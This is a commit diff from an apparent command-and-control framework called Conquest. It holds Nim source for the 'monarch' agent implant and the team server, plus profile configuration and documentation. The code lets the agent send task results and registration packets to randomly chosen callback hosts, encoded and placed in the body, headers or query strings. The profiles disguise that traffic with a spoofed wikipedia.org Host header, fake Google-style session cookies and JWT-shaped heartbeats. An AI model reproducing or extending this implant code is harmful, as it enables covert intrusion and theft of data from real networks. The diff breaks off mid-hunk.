Implemented data transformation and placement via profile for agent POST requests (task results/registration).
This commit is contained in:
@@ -41,7 +41,7 @@ suffix = ".######################################-####"
|
|||||||
# encoding = { type = "base64", url-safe = true }
|
# encoding = { type = "base64", url-safe = true }
|
||||||
|
|
||||||
# Other examples
|
# Other examples
|
||||||
# placement = { type = "parameter", name = "id" }
|
# placement = { type = "query", name = "id" }
|
||||||
# placement = { type = "uri" }
|
# placement = { type = "uri" }
|
||||||
|
|
||||||
# Defines arbitrary URI parameters that are added to the request
|
# Defines arbitrary URI parameters that are added to the request
|
||||||
@@ -90,12 +90,13 @@ endpoints = [
|
|||||||
"/api/v2/get.js"
|
"/api/v2/get.js"
|
||||||
]
|
]
|
||||||
|
|
||||||
# Post request can also be sent with the HTTP verb PUT instead
|
# Post request can also be sent with a different HTTP verb (PUT, GET, ...)
|
||||||
request-methods = [
|
request-methods = [
|
||||||
"POST",
|
"POST",
|
||||||
"PUT"
|
"PUT"
|
||||||
]
|
]
|
||||||
|
|
||||||
|
# Defines arbitrary request headers that are added to the POST request
|
||||||
[http-post.agent.headers]
|
[http-post.agent.headers]
|
||||||
Host = [
|
Host = [
|
||||||
"wikipedia.org",
|
"wikipedia.org",
|
||||||
@@ -106,11 +107,26 @@ Content-Type = "application/octet-stream"
|
|||||||
Connection = "Keep-Alive"
|
Connection = "Keep-Alive"
|
||||||
Cache-Control = "no-cache"
|
Cache-Control = "no-cache"
|
||||||
|
|
||||||
|
# Defines arbitrary query parameters that are added to the URI
|
||||||
|
[http-post.agent.parameters]
|
||||||
|
lang = [
|
||||||
|
"en-US",
|
||||||
|
"de-AT"
|
||||||
|
]
|
||||||
|
|
||||||
|
# Defines how the POST requests made by the agents look like
|
||||||
|
# For modules that involve large file transfers, it is not recommended to place the task output in a header or query parameter, as this will exceed the header size
|
||||||
|
# Placing this type of data in the body is highly recommended
|
||||||
[http-post.agent.output]
|
[http-post.agent.output]
|
||||||
placement = { type = "body" }
|
placement = { type = "body" }
|
||||||
|
encoding = { type = "none" }
|
||||||
|
# prefix = ""
|
||||||
|
# suffix = ""
|
||||||
|
|
||||||
|
# Defines arbitrary response headers added by the server
|
||||||
[http-post.server.headers]
|
[http-post.server.headers]
|
||||||
Server = "nginx"
|
Server = "nginx"
|
||||||
|
|
||||||
|
# Defines data that is returned in the body of the server's response
|
||||||
[http-post.server.output]
|
[http-post.server.output]
|
||||||
placement = { type = "body" }
|
body = ""
|
||||||
@@ -107,6 +107,12 @@ Connection = "Keep-Alive"
|
|||||||
Cache-Control = "no-cache"
|
Cache-Control = "no-cache"
|
||||||
Cookie = "YSC=###########; SOCS=##############################################; VISITOR_PRIVACY_METADATA=##################################################################; __Secure-1PSIDTS=sidts-#######_##########################################_#########################; __Secure-3PSIDTS=sidts-#######_##########################################_#########################; HSID=####################;"
|
Cookie = "YSC=###########; SOCS=##############################################; VISITOR_PRIVACY_METADATA=##################################################################; __Secure-1PSIDTS=sidts-#######_##########################################_#########################; __Secure-3PSIDTS=sidts-#######_##########################################_#########################; HSID=####################;"
|
||||||
|
|
||||||
|
[http-post.agent.parameters]
|
||||||
|
pretty-print = [
|
||||||
|
"true",
|
||||||
|
"false"
|
||||||
|
]
|
||||||
|
|
||||||
[http-post.agent.output]
|
[http-post.agent.output]
|
||||||
placement = { type = "body" }
|
placement = { type = "body" }
|
||||||
|
|
||||||
@@ -122,4 +128,4 @@ Strict-Transport-Security = "max-age=31536000"
|
|||||||
Alt-Svc = "h3=':443'; ma=2592000,h3-29=':443'; ma=2592000"
|
Alt-Svc = "h3=':443'; ma=2592000,h3-29=':443'; ma=2592000"
|
||||||
|
|
||||||
[http-post.server.output]
|
[http-post.server.output]
|
||||||
placement = { type = "body" }
|
body = ""
|
||||||
@@ -50,7 +50,7 @@ A huge advantage of Conquest's C2 profile is the customization of where the hear
|
|||||||
|
|
||||||
| Name | Type | Description |
|
| Name | Type | Description |
|
||||||
| --- | --- | --- |
|
| --- | --- | --- |
|
||||||
| placement.type | OPTION | Determine where in the request the heartbeat is placed. The following options are available: `header`, `parameter`, `uri`, `body`|
|
| placement.type | OPTION | Determine where in the request the heartbeat is placed. The following options are available: `header`, `query`, `uri`, `body`|
|
||||||
| placement.name | STRING | Name of the header/parameter to place the heartbeat in.|
|
| placement.name | STRING | Name of the header/parameter to place the heartbeat in.|
|
||||||
| encoding.type | OPTION | Type of encoding to use. The following options are available: `base64`, `none` (default) |
|
| encoding.type | OPTION | Type of encoding to use. The following options are available: `base64`, `none` (default) |
|
||||||
| encoding.url-safe | BOOL | Only required if encoding.type is set to `base64`. Uses `-` and `_` instead of `+`, `=` and `/`. |
|
| encoding.url-safe | BOOL | Only required if encoding.type is set to `base64`. Uses `-` and `_` instead of `+`, `=` and `/`. |
|
||||||
@@ -68,7 +68,7 @@ On the other hand, the server processes the requests in the following order:
|
|||||||
3. Decoding
|
3. Decoding
|
||||||
|
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> Heartbeat placement is currently only implemented for `header` and `parameter`, as those are the most commonly used options.
|
> Heartbeat placement is currently only implemented for `header` and `query`, as those are the most commonly used options.
|
||||||
|
|
||||||
To illustrate how that works, the following TOML configuration transforms a base64-encoded heartbeat packet into a string that looks like a JWT token and places it in the Authorization header. In this case, the `#` in the suffix are randomized, ensuring that the token is different for every request.
|
To illustrate how that works, the following TOML configuration transforms a base64-encoded heartbeat packet into a string that looks like a JWT token and places it in the Authorization header. In this case, the `#` in the suffix are randomized, ensuring that the token is different for every request.
|
||||||
|
|
||||||
@@ -128,24 +128,26 @@ placement = { type = "body" }
|
|||||||
|
|
||||||
## POST settings
|
## POST settings
|
||||||
|
|
||||||
HTTP POST requests can be configured in a similar way to GET requests. Here, it is also possible to define alternative request methods, such as PUT.
|
HTTP POST requests can be configured in a similar way to GET requests. Here, it is also possible to define alternative request methods, such as PUT. Under `[http-post.agent.output]`, it is possible to define how the POST requests made to the server by the agents look like. The same data transformation techniques can be applied. For example, it would be possible to hide task output as a base64 string within a JSON object. The `[http-post.server.output]` block can be used to customize the server's response.
|
||||||
|
|
||||||
```toml
|
```toml
|
||||||
[http-post]
|
[http-post]
|
||||||
user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
|
user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
|
||||||
|
|
||||||
# Defines URI endpoints for HTTP POST requests
|
# Defines URI endpoints for HTTP POST requests
|
||||||
|
# This has to be an array, even if it only has one member
|
||||||
endpoints = [
|
endpoints = [
|
||||||
"/post",
|
"/post",
|
||||||
"/api/v2/get.js"
|
"/api/v2/get.js"
|
||||||
]
|
]
|
||||||
|
|
||||||
# Post request can also be sent with the HTTP verb PUT instead
|
# Post request can also be sent with a different HTTP verb (PUT, GET, ...)
|
||||||
request-methods = [
|
request-methods = [
|
||||||
"POST",
|
"POST",
|
||||||
"PUT"
|
"PUT"
|
||||||
]
|
]
|
||||||
|
|
||||||
|
# Defines arbitrary request headers that are added to the POST request
|
||||||
[http-post.agent.headers]
|
[http-post.agent.headers]
|
||||||
Host = [
|
Host = [
|
||||||
"wikipedia.org",
|
"wikipedia.org",
|
||||||
@@ -156,14 +158,28 @@ Content-Type = "application/octet-stream"
|
|||||||
Connection = "Keep-Alive"
|
Connection = "Keep-Alive"
|
||||||
Cache-Control = "no-cache"
|
Cache-Control = "no-cache"
|
||||||
|
|
||||||
|
# Defines arbitrary query parameters that are added to the URI
|
||||||
|
[http-post.agent.parameters]
|
||||||
|
lang = [
|
||||||
|
"en-US",
|
||||||
|
"de-AT"
|
||||||
|
]
|
||||||
|
|
||||||
|
# Defines how the POST requests made by the agents look like
|
||||||
|
# Placing this type of data in the body is highly recommended due to the size of certain task results
|
||||||
[http-post.agent.output]
|
[http-post.agent.output]
|
||||||
placement = { type = "body" }
|
placement = { type = "body" }
|
||||||
|
encoding = { type = "none" }
|
||||||
|
# prefix = ""
|
||||||
|
# suffix = ""
|
||||||
|
|
||||||
|
# Defines arbitrary response headers added by the server
|
||||||
[http-post.server.headers]
|
[http-post.server.headers]
|
||||||
Server = "nginx"
|
Server = "nginx"
|
||||||
|
|
||||||
|
# Defines data that is returned in the body of the server's response
|
||||||
[http-post.server.output]
|
[http-post.server.output]
|
||||||
placement = { type = "body" }
|
body = ""
|
||||||
```
|
```
|
||||||
|
|
||||||

|

|
||||||
@@ -32,7 +32,7 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
|||||||
case ctx.profile.getString(protect("http-get.agent.heartbeat.placement.type")):
|
case ctx.profile.getString(protect("http-get.agent.heartbeat.placement.type")):
|
||||||
of protect("header"):
|
of protect("header"):
|
||||||
client.headers.add(ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name")), payload)
|
client.headers.add(ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name")), payload)
|
||||||
of protect("parameter"):
|
of protect("query"):
|
||||||
let param = ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name"))
|
let param = ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name"))
|
||||||
endpoint &= fmt"{param}={payload}&"
|
endpoint &= fmt"{param}={payload}&"
|
||||||
of protect("uri"):
|
of protect("uri"):
|
||||||
@@ -94,20 +94,49 @@ proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
|
|||||||
# Select a random endpoint to make the request to
|
# Select a random endpoint to make the request to
|
||||||
var endpoint = ctx.profile.getString(protect("http-post.endpoints"))
|
var endpoint = ctx.profile.getString(protect("http-post.endpoints"))
|
||||||
if endpoint[0] == '/':
|
if endpoint[0] == '/':
|
||||||
endpoint = endpoint[1..^1]
|
endpoint = endpoint[1..^1] & "?" # Add '?' for additional GET parameters
|
||||||
|
|
||||||
let requestMethod = parseEnum[HttpMethod](ctx.profile.getString(protect("http-post.request-methods"), protect("POST")))
|
let requestMethod = parseEnum[HttpMethod](ctx.profile.getString(protect("http-post.request-methods"), protect("POST")))
|
||||||
|
|
||||||
let body = Bytes.toString(data)
|
|
||||||
|
|
||||||
# Apply data transformation
|
# Apply data transformation
|
||||||
|
var output: string
|
||||||
|
case ctx.profile.getString(protect("http-post.agent.output.encoding.type"), default = protect("none"))
|
||||||
|
of protect("base64"):
|
||||||
|
output = encode(data, safe = ctx.profile.getBool(protect("http-post.agent.output.encoding.url-safe"))).replace("=", "")
|
||||||
|
of protect("none"):
|
||||||
|
output = Bytes.toString(data)
|
||||||
|
|
||||||
|
# Append/prepend strings
|
||||||
|
let
|
||||||
|
prefix = ctx.profile.getString(protect("http-post.agent.output.prefix"))
|
||||||
|
suffix = ctx.profile.getString(protect("http-post.agent.output.suffix"))
|
||||||
|
payload = prefix & output & suffix
|
||||||
|
var body: string
|
||||||
|
|
||||||
|
# Add task result to the request
|
||||||
|
case ctx.profile.getString(protect("http-post.agent.output.placement.type")):
|
||||||
|
of protect("header"):
|
||||||
|
client.headers.add(ctx.profile.getString(protect("http-post.agent.output.placement.name")), payload)
|
||||||
|
of protect("query"):
|
||||||
|
let param = ctx.profile.getString(protect("http-post.agent.output.placement.name"))
|
||||||
|
endpoint &= fmt"{param}={payload}&"
|
||||||
|
of protect("uri"):
|
||||||
|
discard
|
||||||
|
of protect("body"):
|
||||||
|
body = payload # Set the request body to the "prefix & task output & suffix" construct
|
||||||
|
else:
|
||||||
|
discard
|
||||||
|
|
||||||
|
# Define additional request parameters
|
||||||
|
for param, value in ctx.profile.getTable(protect("http-post.agent.parameters")):
|
||||||
|
endpoint &= fmt"{param}={value.getStringValue()}&"
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# Send post request to team server
|
# Send post request to team server
|
||||||
# Select random callback host
|
# Select random callback host
|
||||||
let hosts = ctx.hosts.split(";")
|
let hosts = ctx.hosts.split(";")
|
||||||
let host = hosts[rand(hosts.len() - 1)]
|
let host = hosts[rand(hosts.len() - 1)]
|
||||||
discard waitFor client.request(fmt"http://{host}/{endpoint}", requestMethod, body)
|
discard waitFor client.request(fmt"http://{host}/{endpoint[0..^2]}", requestMethod, body)
|
||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
print "[-] ", err.msg
|
print "[-] ", err.msg
|
||||||
|
|||||||
@@ -4,7 +4,7 @@
|
|||||||
--opt:size
|
--opt:size
|
||||||
--l:"-Wl,-s"
|
--l:"-Wl,-s"
|
||||||
# --l:"-Wl,-subsystem,windows" # Prevent console window
|
# --l:"-Wl,-subsystem,windows" # Prevent console window
|
||||||
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
||||||
-d:MODULES="511"
|
-d:MODULES="511"
|
||||||
-d:VERBOSE="true"
|
-d:VERBOSE="true"
|
||||||
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
||||||
@@ -210,7 +210,7 @@ proc main(ip: string = "localhost", port: int = 37573) =
|
|||||||
consoles = newConsoleTable
|
consoles = newConsoleTable
|
||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
echo "[-] ", err.msg
|
# echo "[-] ", err.msg
|
||||||
discard
|
discard
|
||||||
|
|
||||||
# render
|
# render
|
||||||
|
|||||||
@@ -46,7 +46,7 @@ proc httpGet*(request: Request) =
|
|||||||
return
|
return
|
||||||
heartbeatString = request.headers.get(heartbeatHeader)
|
heartbeatString = request.headers.get(heartbeatHeader)
|
||||||
|
|
||||||
of "parameter":
|
of "query":
|
||||||
let param = cq.profile.getString("http-get.agent.heartbeat.placement.name")
|
let param = cq.profile.getString("http-get.agent.heartbeat.placement.name")
|
||||||
heartbeatString = request.queryParams.get(param)
|
heartbeatString = request.queryParams.get(param)
|
||||||
if heartbeatString.len <= 0:
|
if heartbeatString.len <= 0:
|
||||||
@@ -121,27 +121,62 @@ proc httpPost*(request: Request) =
|
|||||||
{.cast(gcsafe).}:
|
{.cast(gcsafe).}:
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# Differentiate between registration and task result packet
|
# Retrieve data from the request
|
||||||
var unpacker = Unpacker.init(request.body)
|
var dataString: string
|
||||||
let header = unpacker.deserializeHeader()
|
var data: seq[byte]
|
||||||
|
|
||||||
# Reverse data transformation to get payload
|
case cq.profile.getString("http-post.agent.output.placement.type"):
|
||||||
|
of "header":
|
||||||
|
let dataHeader = cq.profile.getString("http-post.agent.output.placement.name")
|
||||||
|
if not request.headers.hasKey(dataHeader):
|
||||||
|
request.respond(400, body = "")
|
||||||
|
return
|
||||||
|
dataString = request.headers.get(dataHeader)
|
||||||
|
|
||||||
|
of "query":
|
||||||
|
let param = cq.profile.getString("http-post.agent.output.placement.name")
|
||||||
|
dataString = request.queryParams.get(param)
|
||||||
|
if dataString.len <= 0:
|
||||||
|
request.respond(400, body = "")
|
||||||
|
return
|
||||||
|
|
||||||
|
of "uri":
|
||||||
|
discard
|
||||||
|
|
||||||
|
of "body":
|
||||||
|
dataString = request.body
|
||||||
|
|
||||||
|
else: discard
|
||||||
|
|
||||||
|
# Retrieve and reverse data transformation
|
||||||
|
let
|
||||||
|
prefix = cq.profile.getString("http-post.agent.output.prefix")
|
||||||
|
suffix = cq.profile.getString("http-post.agent.output.suffix")
|
||||||
|
encData = dataString[len(prefix) ..^ len(suffix) + 1]
|
||||||
|
|
||||||
|
case cq.profile.getString("http-post.agent.output.encoding.type", default = "none"):
|
||||||
|
of "base64":
|
||||||
|
data = string.toBytes(decode(encData))
|
||||||
|
of "none":
|
||||||
|
data = string.toBytes(encData)
|
||||||
|
|
||||||
# Add response headers, as defined in team server profile
|
# Add response headers, as defined in team server profile
|
||||||
var headers: HttpHeaders
|
var headers: HttpHeaders
|
||||||
for header, value in cq.profile.getTable("http-post.server.headers"):
|
for header, value in cq.profile.getTable("http-post.server.headers"):
|
||||||
headers.add((header, value.getStringValue()))
|
headers.add((header, value.getStringValue()))
|
||||||
|
|
||||||
|
# Differentiate between registration and task result packet
|
||||||
|
var unpacker = Unpacker.init(Bytes.toString(data))
|
||||||
|
let header = unpacker.deserializeHeader()
|
||||||
if cast[PacketType](header.packetType) == MSG_REGISTER:
|
if cast[PacketType](header.packetType) == MSG_REGISTER:
|
||||||
if not register(string.toBytes(request.body), request.remoteAddress):
|
if not register(data, request.remoteAddress):
|
||||||
request.respond(400, body = "")
|
request.respond(400, body = "")
|
||||||
return
|
return
|
||||||
|
|
||||||
elif cast[PacketType](header.packetType) == MSG_RESULT:
|
elif cast[PacketType](header.packetType) == MSG_RESULT:
|
||||||
handleResult(string.toBytes(request.body))
|
handleResult(data)
|
||||||
|
|
||||||
request.respond(200, body = "")
|
